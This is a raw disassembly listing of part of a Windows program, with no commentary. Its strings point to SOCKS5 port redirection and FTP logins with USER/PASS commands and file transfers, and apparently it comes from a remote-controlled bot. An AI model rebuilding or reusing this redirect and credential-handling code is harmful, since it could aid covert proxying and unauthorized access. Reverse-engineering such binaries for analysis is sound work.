ebx setz byte ptr [esp+88h] call sub_401226 mov al, [esp+88h] test al, al jz short loc_42D4DE mov byte ptr [edi+9Dh], 1 jmp short loc_42D4E5 ; --------------------------------------------------------------------------- loc_42D4DE: ; CODE XREF: ___:0042D4D3j mov byte ptr [edi+9Dh], 0 loc_42D4E5: ; CODE XREF: ___:0042D4DCj lea edx, [esi+69h] lea ecx, [edi+26h] push edx call sub_401FDC mov al, [esi+93h] mov [edi+97h], al mov cl, [esi+94h] mov [edi+98h], cl mov ecx, edi call sub_4013DE loc_42D510: ; CODE XREF: ___:0042D3FAj lea ecx, [ebp+8Eh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D5DD push 0A1h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 0Bh jz short loc_42D55A mov ecx, eax call sub_40218A mov edi, eax jmp short loc_42D55C ; --------------------------------------------------------------------------- loc_42D55A: ; CODE XREF: ___:0042D54Dj xor edi, edi loc_42D55C: ; CODE XREF: ___:0042D558j push offset asc_444600 ; " " lea edx, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push edx mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 mov ecx, eax mov dword ptr [esp+80h], 0Ch call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013DE loc_42D5DD: ; CODE XREF: ___:0042D526j lea ecx, [ebp+0BCh] call sub_4014DD lea edi, [esi+7Eh] push eax mov ecx, edi mov [esp+8Ch], edi call sub_4012EE test eax, eax jnz loc_42D809 lea ecx, [esp+30h] call sub_40142E lea ecx, [esp+18h] mov dword ptr [esp+80h], 0Dh call sub_40142E push offset asc_444600 ; " " lea eax, [esp+4Ch] push 2 push eax mov ecx, esi mov byte ptr [esp+8Ch], 0Eh call sub_4016B8 mov ecx, eax mov byte ptr [esp+80h], 0Fh call sub_4017EE push eax lea ecx, [esp+34h] call sub_401A9B lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 3 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+80h], 10h call sub_4017EE push eax lea ecx, [esp+1Ch] call sub_401A9B lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+30h] call sub_4014DD cmp eax, offset byte_448F40 jnz short loc_42D6BF push offset aRoot ; "root" lea ecx, [esp+1Ch] call sub_401A9B loc_42D6BF: ; CODE XREF: ___:0042D6AFj lea ecx, [esp+18h] call sub_4014DD cmp eax, offset byte_448F40 jnz short loc_42D6DD push offset byte_448F40 lea ecx, [esp+1Ch] call sub_401A9B loc_42D6DD: ; CODE XREF: ___:0042D6CDj push offset asc_444600 ; " " lea edx, [esp+4Ch] push 1 push edx mov ecx, esi call sub_4016B8 mov edi, eax lea ecx, [esp+18h] mov byte ptr [esp+80h], 11h call sub_4017EE push eax lea ecx, [esp+34h] call sub_4017EE push eax mov ecx, edi call sub_4017EE mov edi, dword_511B14 push eax call edi add esp, 4 lea ecx, [esi+69h] push eax push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "... call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 20h lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+28h], esp push eax call sub_401870 lea ecx, [esp+48h] mov byte ptr [esp+98h], 12h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+44h], esp push eax call sub_401870 push offset asc_444600 ; " " lea edx, [esp+94h] push 1 push edx mov ecx, esi mov byte ptr [esp+0BCh], 13h call sub_4016B8 mov ecx, eax mov byte ptr [esp+0B0h], 15h call sub_4017EE push eax call edi add esp, 4 push eax call sub_401C2B add esp, 34h lea ecx, [esp+60h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] mov byte ptr [esp+80h], 0Dh call sub_401226 lea ecx, [esp+30h] mov [esp+80h], ebx call sub_401226 mov edi, [esp+88h] loc_42D809: ; CODE XREF: ___:0042D5FCj lea ecx, [ebp+0EAh] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42D826 mov [ebp+11Ch], al loc_42D826: ; CODE XREF: ___:0042D81Ej mov ecx, [esp+78h] pop edi pop esi pop ebp mov al, 1 mov large fs:0, ecx pop ebx add esp, 74h retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 1C0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42DA00: ; CODE XREF: ___:004021CBj push ecx mov edx, dword_449A5D push esi mov esi, ecx mov eax, [esi+99h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_42DA21 inc ecx mov [eax+118h], ecx loc_42DA21: ; CODE XREF: ___:0042DA18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+99h] mov [esp+4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+4] push ecx mov ecx, offset byte_4E8EAB call sub_40120D ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DA80 proc near ; CODE XREF: sub_401E1Fj var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call sub_438244 sub_42DA80 endp ; --------------------------------------------------------------------------- db 85h, 0C0h, 74h dd 900D8B19h, 5000511Ah, 6840C183h, 4473E0h, 64E89051h dd 83778133h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42DAD0: ; CODE XREF: ___:00401D8Ej mov eax, [esp+4] test eax, eax jz short loc_42DAE3 mov ecx, [eax+18h] test ecx, ecx jnz short loc_42DAE3 add eax, 44h retn ; --------------------------------------------------------------------------- loc_42DAE3: ; CODE XREF: ___:0042DAD6j ; ___:0042DADDj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DB00 proc near ; CODE XREF: sub_401A7Dj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_12 = word ptr 16h sub esp, 14h mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ebx push ebp mov [esp+1Ch+var_C], eax push esi push edi mov [esp+24h+var_8], eax push ecx mov [esp+28h+var_14], 1 mov [esp+28h+var_4], eax mov word ptr [esp+28h+var_10], 2 call near ptr 77C46125h nop mov ebp, eax push 3Ah push ebp nop call near ptr 77C47660h mov esi, eax xor ebx, ebx add esp, 0Ch cmp esi, ebx jnz short loc_42DB74 push offset aTcp ; "tcp" push offset aFtp ; "ftp" call sub_43828C ; --------------------------------------------------------------------------- dd 6C75C33Bh, 44743468h, 8BE89000h, 83778092h, 0C03304C4h dd 5B5D5E5Fh, 0C314C483h ; --------------------------------------------------------------------------- loc_42DB74: ; CODE XREF: sub_42DB00+47j mov [esi], bl mov eax, dword_511A7C inc esi cmp dword ptr [eax], 1 jle short loc_42DB92 movsx ecx, byte ptr [esi] push 4 push ecx nop call near ptr 77C1C561h add esp, 8 jmp short loc_42DBA2 ; --------------------------------------------------------------------------- loc_42DB92: ; CODE XREF: sub_42DB00+7Fj mov eax, dword_511B1C movsx edx, byte ptr [esi] mov ecx, [eax] mov al, [ecx+edx*2] and eax, 4 loc_42DBA2: ; CODE XREF: sub_42DB00+90j cmp eax, ebx jz short loc_42DBBD push esi call near ptr 77C1BF18h nop add esp, 4 push eax call sub_43822C ; --------------------------------------------------------------------------- mov [esp+arg_12], ax jmp short sub_42DBD1 ; --------------------------------------------------------------------------- loc_42DBBD: ; CODE XREF: sub_42DB00+A4j push offset aTcp ; "tcp" push esi call sub_43828C sub_42DB00 endp ; --------------------------------------------------------------------------- mov dx, [eax+8] mov [esp+16h], dx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DBD1 proc near ; CODE XREF: sub_42DB00+BBj push ebp call sub_4381EA sub_42DBD1 endp ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh mov [esp+18h], eax jnz short loc_42DC1D push ebp call sub_4381DE ; --------------------------------------------------------------------------- dw 0C33Bh dd 24681875h, 90004474h, 8091FDE8h, 4C48377h, 5E5FC033h dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch dd 2E9C130h, 0CA8BA5F3h, 0F303E183h ; --------------------------------------------------------------------------- movsb loc_42DC1D: ; CODE XREF: ___:0042DBDEj push ebp mov ebp, dword_511AD0 call ebp add esp, 4 push 6 push 1 push 2 call sub_438232 ; --------------------------------------------------------------------------- dd 0FF83F88Bh, 681875FFh, 44741Ch, 8091ADE8h, 0C4839077h dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h dd 0FFFF68h, 13E85700h, 830000A6h, 775FFF8h, 44740C68h dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h dd 720C6807h, 1BEB0044h, 14468h, 90016A00h, 7FE42AE8h dd 83F08B77h, 0F33B08C4h, 4681E75h, 90004474h, 809145E8h dd 4C48377h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h dd 200068h, 3CE89000h, 83777FE7h, 0C33B04C4h, 75144689h dd 74046824h, 0E8900044h, 77809112h, 5704C483h, 0A513E8h dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42DE00 proc near ; CODE XREF: sub_42F2C0+70p var_8 = byte ptr -8 var_5 = byte ptr -5 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_4 = dword ptr 8 sub esp, 8 push ebx push ebp push esi push edi mov edi, [esp+18h+arg_4] push edi push 100h lea esi, [edi+44h] push esi call sub_42DF40 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42DE3A loc_42DE22: ; CODE XREF: sub_42DE00+8Ej ; sub_42DE00+D9j push offset aControlSocketR ; "Control socket read failed" nop call near ptr 77C36DF2h add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DE3A: ; CODE XREF: sub_42DE00+20j mov eax, dword_5103B8 mov ebx, dword_511A8C cmp eax, 1 jle short loc_42DE5E mov eax, dword_511A90 push esi add eax, 40h push offset aS ; "%s" push eax call ebx add esp, 0Ch loc_42DE5E: ; CODE XREF: sub_42DE00+48j cmp byte ptr [edi+47h], 2Dh jnz short loc_42DEDE push 3 lea ecx, [esp+1Ch+var_8] push esi push ecx call near ptr 77C47A90h nop push edi push 100h push esi mov [esp+30h+var_5], 20h mov [esp+30h+var_4], 0 call sub_42DF40 add esp, 18h cmp eax, 0FFFFFFFFh jz short loc_42DE22 mov ebp, dword_511AE0 loc_42DE96: ; CODE XREF: sub_42DE00+D7j cmp dword_5103B8, 1 jle short loc_42DEB4 mov edx, dword_511A90 push esi add edx, 40h push offset aS ; "%s" push edx call ebx add esp, 0Ch loc_42DEB4: ; CODE XREF: sub_42DE00+9Dj lea eax, [esp+18h+var_8] push 4 push eax push esi call ebp add esp, 0Ch test eax, eax jz short loc_42DEDE push edi push 100h push esi call sub_42DF40 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42DE96 jmp loc_42DE22 ; --------------------------------------------------------------------------- loc_42DEDE: ; CODE XREF: sub_42DE00+62j ; sub_42DE00+C3j mov cl, [esi] mov dl, [esp+18h+arg_0] xor eax, eax pop edi cmp cl, dl pop esi pop ebp pop ebx setz al add esp, 8 retn sub_42DE00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DF40 proc near ; CODE XREF: sub_42DE00+15p ; sub_42DE00+83p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 8 push ebx push ebp mov ebp, [esp+10h+arg_0] push esi mov esi, [esp+14h+arg_8] xor ecx, ecx push edi mov [esp+18h+var_8], ecx mov eax, [esi+18h] mov [esp+18h+var_4], ecx cmp eax, ecx jz short loc_42DF70 cmp eax, 1 jz short loc_42DF70 pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DF70: ; CODE XREF: sub_42DF40+1Ej ; sub_42DF40+23j mov ebx, [esp+18h+arg_4] cmp ebx, ecx jnz short loc_42DF82 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DF82: ; CODE XREF: sub_42DF40+36j ; sub_42DF40+115j mov edi, [esi+0Ch] test edi, edi jle short loc_42DFD3 cmp ebx, edi jge short loc_42DF90 lea edi, [ebx-1] loc_42DF90: ; CODE XREF: sub_42DF40+4Bj mov eax, [esi+4] push edi push 0Ah push eax push ebp nop call near ptr 77C46170h add esp, 10h test eax, eax jz short loc_42DFA9 mov edi, eax sub edi, ebp loc_42DFA9: ; CODE XREF: sub_42DF40+63j mov edx, [esp+18h+var_8] add ebp, edi add edx, edi sub ebx, edi mov [esp+18h+var_8], edx mov byte ptr [ebp+0], 0 mov ecx, [esi+4] mov edx, [esi+0Ch] add ecx, edi sub edx, edi test eax, eax mov [esi+4], ecx mov [esi+0Ch], edx jnz loc_42E05A loc_42DFD3: ; CODE XREF: sub_42DF40+47j cmp ebx, 1 jz loc_42E0AD mov ecx, [esi] mov eax, [esi+4] cmp ecx, eax jnz short loc_42DFFB mov eax, [esi+14h] mov dword ptr [esi+0Ch], 0 mov [esi+4], eax mov [esi], eax mov dword ptr [esi+10h], 2000h loc_42DFFB: ; CODE XREF: sub_42DF40+A3j mov eax, [esp+18h+var_4] test eax, eax jnz loc_42E0C0 push esi call sub_42E170 add esp, 4 test eax, eax jz loc_42E0F2 mov edx, [esi+10h] mov eax, [esi] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_4381F0 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz loc_42E0DC test eax, eax jnz short loc_42E03F mov [esp+18h+var_4], 1 loc_42E03F: ; CODE XREF: sub_42DF40+F5j mov edi, [esi+10h] mov edx, [esi+0Ch] mov ecx, [esi] sub edi, eax add edx, eax add ecx, eax mov [esi+10h], edi mov [esi+0Ch], edx mov [esi], ecx jmp loc_42DF82 ; --------------------------------------------------------------------------- loc_42E05A: ; CODE XREF: sub_42DF40+8Dj sub ebp, 2 mov esi, offset asc_4471FC ; "\r\n" mov eax, ebp loc_42E064: ; CODE XREF: sub_42DF40+146j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42E08C test cl, cl jz short loc_42E088 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42E08C add eax, 2 add esi, 2 test cl, cl jnz short loc_42E064 loc_42E088: ; CODE XREF: sub_42DF40+130j xor eax, eax jmp short loc_42E091 ; --------------------------------------------------------------------------- loc_42E08C: ; CODE XREF: sub_42DF40+12Cj ; sub_42DF40+13Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42E091: ; CODE XREF: sub_42DF40+14Aj test eax, eax jnz short loc_42E0F2 mov byte ptr [ebp+0], 0Ah mov [ebp+1], al mov eax, [esp+18h+var_8] pop edi dec eax pop esi pop ebp mov [esp+0Ch+var_8], eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0AD: ; CODE XREF: sub_42DF40+96j mov eax, [esp+18h+arg_0] pop edi pop esi pop ebp mov byte ptr [eax], 0 mov eax, [esp+0Ch+var_8] pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0C0: ; CODE XREF: sub_42DF40+C1j mov eax, [esp+18h+var_8] test eax, eax jnz short loc_42E0F2 pop edi mov [esp+14h+var_8], 0FFFFFFFFh mov eax, [esp+14h+var_8] pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0DC: ; CODE XREF: sub_42DF40+EDj push offset aRead ; "read" call near ptr 77C36DF2h nop add esp, 4 mov [esp+18h+var_8], 0FFFFFFFFh loc_42E0F2: ; CODE XREF: sub_42DF40+D2j ; sub_42DF40+153j ... mov eax, [esp+18h+var_8] pop edi pop esi pop ebp pop ebx add esp, 8 retn sub_42DF40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E170 proc near ; CODE XREF: sub_42DF40+C8p ; sub_42EF60:loc_42EF8Dp ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 10Ch push ebx push ebp push esi mov esi, [esp+118h+arg_0] xor ebx, ebx xor ebp, ebp mov eax, [esi+18h] test eax, eax jz loc_42E253 mov ecx, [esi+30h] test ecx, ecx jz loc_42E253 cmp eax, 2 jnz short loc_42E1A5 lea ebp, [esp+118h+var_104] jmp short loc_42E1A9 ; --------------------------------------------------------------------------- loc_42E1A5: ; CODE XREF: sub_42E170+2Dj lea ebx, [esp+118h+var_104] loc_42E1A9: ; CODE XREF: sub_42E170+33j xor eax, eax push edi mov [esp+11Ch+var_104], eax loc_42E1B0: ; CODE XREF: sub_42E170+98j cmp eax, 40h jnb short loc_42E1C5 mov ecx, [esi+8] mov [esp+eax*4+11Ch+var_100], ecx mov eax, [esp+11Ch+var_104] inc eax mov [esp+11Ch+var_104], eax loc_42E1C5: ; CODE XREF: sub_42E170+43j mov edx, [esi+28h] mov eax, [esi+2Ch] lea ecx, [esp+11Ch+var_10C] mov [esp+11Ch+var_10C], edx mov edx, [esi+8] push ecx push 0 push ebp inc edx push ebx push edx mov [esp+130h+var_108], eax call sub_438208 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz short loc_42E20A test eax, eax jg short loc_42E241 mov eax, [esi+34h] mov ecx, [esi+38h] push eax push ecx push esi call dword ptr [esi+30h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_42E246 mov eax, [esp+11Ch+var_104] jmp short loc_42E1B0 ; --------------------------------------------------------------------------- loc_42E20A: ; CODE XREF: sub_42E170+79j push 100h xor edi, edi call near ptr 77C1F2BCh nop mov edx, [eax] push edx nop call near ptr 77C371FAh add esp, 4 push eax mov eax, [esi+1Ch] add eax, 44h push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42E241: ; CODE XREF: sub_42E170+7Dj mov edi, 1 loc_42E246: ; CODE XREF: sub_42E170+92j mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42E253: ; CODE XREF: sub_42E170+19j ; sub_42E170+24j pop esi pop ebp mov eax, 1 pop ebx add esp, 10Ch retn sub_42E170 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2B0: ; CODE XREF: ___:0040141Aj mov eax, [esp+4] xor ecx, ecx dec eax cmp eax, 4 ; switch 5 cases ja loc_42E35F ; default jmp off_42E364[eax*4] ; switch jump loc_42E2C7: ; DATA XREF: ___:off_42E364o mov eax, [esp+8] ; jumptable 0042E2C0 case 0 cmp eax, 1 jz short loc_42E2D9 cmp eax, 2 jnz loc_42E35F ; default loc_42E2D9: ; CODE XREF: ___:0042E2CEj mov ecx, [esp+0Ch] mov [ecx+24h], eax mov ecx, 1 mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E2E8: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov edx, [esp+0Ch] ; jumptable 0042E2C0 case 1 mov eax, [esp+8] mov ecx, 1 mov [edx+30h], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E2FB: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o push esi ; jumptable 0042E2C0 case 2 mov esi, [esp+0Ch] mov eax, 10624DD3h push edi imul esi mov edi, [esp+14h] mov ecx, 1 sar edx, 6 mov eax, edx shr eax, 1Fh add edx, eax mov eax, esi mov [edi+28h], edx mov esi, 3E8h cdq idiv esi lea eax, [edx+edx*4] lea eax, [eax+eax*4] lea edx, [eax+eax*4] mov eax, ecx shl edx, 3 mov [edi+2Ch], edx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E33C: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 3 mov edx, [esp+8] mov ecx, 1 mov [eax+34h], edx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E34F: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 4 mov edx, [esp+8] mov ecx, 1 mov [eax+3Ch], edx loc_42E35F: ; CODE XREF: ___:0042E2BAj ; ___:0042E2D3j mov eax, ecx ; default retn ; --------------------------------------------------------------------------- align 4 off_42E364 dd offset loc_42E2C7 ; DATA XREF: ___:0042E2C0r dd offset loc_42E2E8 ; jump table for switch statement dd offset loc_42E2FB dd offset loc_42E33C dd offset loc_42E34F db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E3C0 proc near ; CODE XREF: sub_402266j var_40 = byte ptr -40h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] sub esp, 40h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42E451 mov ebx, [esp+4Ch+arg_4] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42E451 mov edi, dword_511A6C push edx lea eax, [esp+50h+var_40] push offset aUserS ; "USER %s" push eax call edi mov esi, [esp+58h+arg_8] lea ecx, [esp+58h+var_40] push esi push 33h push ecx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42E42D mov cl, [esi+44h] pop edi cmp cl, 32h pop esi setz al pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42E42D: ; CODE XREF: sub_42E3C0+5Bj push ebx lea edx, [esp+50h+var_40] push offset aPassS ; "PASS %s" push edx call edi push esi lea eax, [esp+5Ch+var_40] push 32h push eax call sub_42E490 add esp, 18h pop edi pop esi pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42E451: ; CODE XREF: sub_42E3C0+1Bj ; sub_42E3C0+30j pop edi pop esi xor eax, eax pop ebx add esp, 40h retn sub_42E3C0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E490 proc near ; CODE XREF: sub_42E3C0+51p ; sub_42E3C0+82p ... var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch sub esp, 100h push ebx mov ebx, [esp+104h+arg_8] push esi push edi mov eax, [ebx+18h] test eax, eax jz short loc_42E4B3 pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E4B3: ; CODE XREF: sub_42E490+15j mov eax, dword_5103B8 mov esi, [esp+10Ch+arg_0] cmp eax, 2 jle short loc_42E4DC mov eax, dword_511A90 push esi add eax, 40h push offset aS_0 ; "%s\n" push eax nop call near ptr 77C40E13h add esp, 0Ch loc_42E4DC: ; CODE XREF: sub_42E490+32j mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 2 cmp ecx, 100h jbe short loc_42E4FC pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E4FC: ; CODE XREF: sub_42E490+60j push esi lea ecx, [esp+110h+var_100] push offset aS_3 ; "%s\r\n" push ecx call near ptr 77C3F931h nop lea edi, [esp+118h+var_100] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb mov eax, [ebx+8] push 0 not ecx dec ecx lea edx, [esp+110h+var_100] push ecx push edx push eax call sub_4381F6 sub_42E490 endp ; --------------------------------------------------------------------------- db 85h dd 681A7FC0h, 447488h, 8088B5E8h, 0C4839077h, 5FC03304h dd 0C4815B5Eh, 100h, 248C8BC3h, 114h, 0A5E85153h, 83FFFFF8h dd 5E5F08C4h, 0C4815Bh, 0C3000001h, 2 dup(90909090h), 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42E5B0 proc near ; CODE XREF: sub_401F73j var_100 = dword ptr -100h var_FC = byte ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 100h push ebx push ebp push esi mov esi, [esp+10Ch+arg_0] push edi mov edi, [esp+110h+arg_4] test esi, esi jnz short loc_42E5FC cmp edi, 4 jz short loc_42E5D6 cmp edi, 3 jnz short loc_42E5FC loc_42E5D6: ; CODE XREF: sub_42E5B0+1Fj mov eax, [esp+110h+arg_C] push offset aMissingPathArg ; "Missing path argument for file transfer"... add eax, 44h push eax nop call near ptr 77C3F931h add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E5FC: ; CODE XREF: sub_42E5B0+1Aj ; sub_42E5B0+24j mov ecx, [esp+110h+arg_8] mov ebp, dword_511A6C push ecx lea edx, [esp+114h+var_100] push offset dword_4474D0 push edx call ebp mov ebx, [esp+11Ch+arg_C] lea eax, [esp+11Ch+var_100] push ebx push 32h push eax call sub_42E490 add esp, 18h test eax, eax jz loc_42E7BE lea eax, [edi-1] ; switch 4 cases cmp eax, 3 ja loc_42E7AF ; default jmp off_42E7CC[eax*4] ; switch jump loc_42E648: ; DATA XREF: ___:off_42E7CCo mov ecx, dword_4474C8 ; jumptable 0042E641 case 1 mov dl, byte_4474CC mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E663: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov eax, dword_4474C0 ; jumptable 0042E641 case 2 mov cl, byte_4474C4 mov [esp+110h+var_100], eax mov [esp+110h+var_FC], cl mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E67D: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov edx, dword_4474B8 ; jumptable 0042E641 case 3 mov al, byte_4474BC mov [esp+110h+var_100], edx mov [esp+110h+var_FC], al mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E697: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov ecx, dword_4474B0 ; jumptable 0042E641 case 4 mov dl, byte_4474B4 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 2 loc_42E6B0: ; CODE XREF: sub_42E5B0+B1j ; sub_42E5B0+CBj ... test esi, esi jz short loc_42E703 lea edi, [esp+110h+var_100] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh mov byte ptr [esp+edx+110h+var_100], 20h inc edx repne scasb not ecx dec ecx add ecx, edx cmp ecx, 100h jnb loc_42E7BE mov edi, esi or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx lea edx, [esp+edx+110h+var_100] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_42E703: ; CODE XREF: sub_42E5B0+102j mov ecx, [esp+110h+arg_8] mov esi, [esp+110h+arg_10] push ebp push ecx push esi push ebx call sub_42E870 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_42E7BE push ebx lea edx, [esp+114h+var_100] push 31h push edx call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42E758 mov eax, [esi] push eax call sub_401BEF add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E758: ; CODE XREF: sub_42E5B0+188j mov ecx, [esi] mov [ecx+1Ch], ebx mov eax, [ebx+24h] mov edx, [esi] cmp eax, 2 mov [ebx+20h], edx jnz short loc_42E79F mov eax, [esi] push ebx push eax call sub_42ED50 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_42E79F mov ecx, [esi] push ecx call 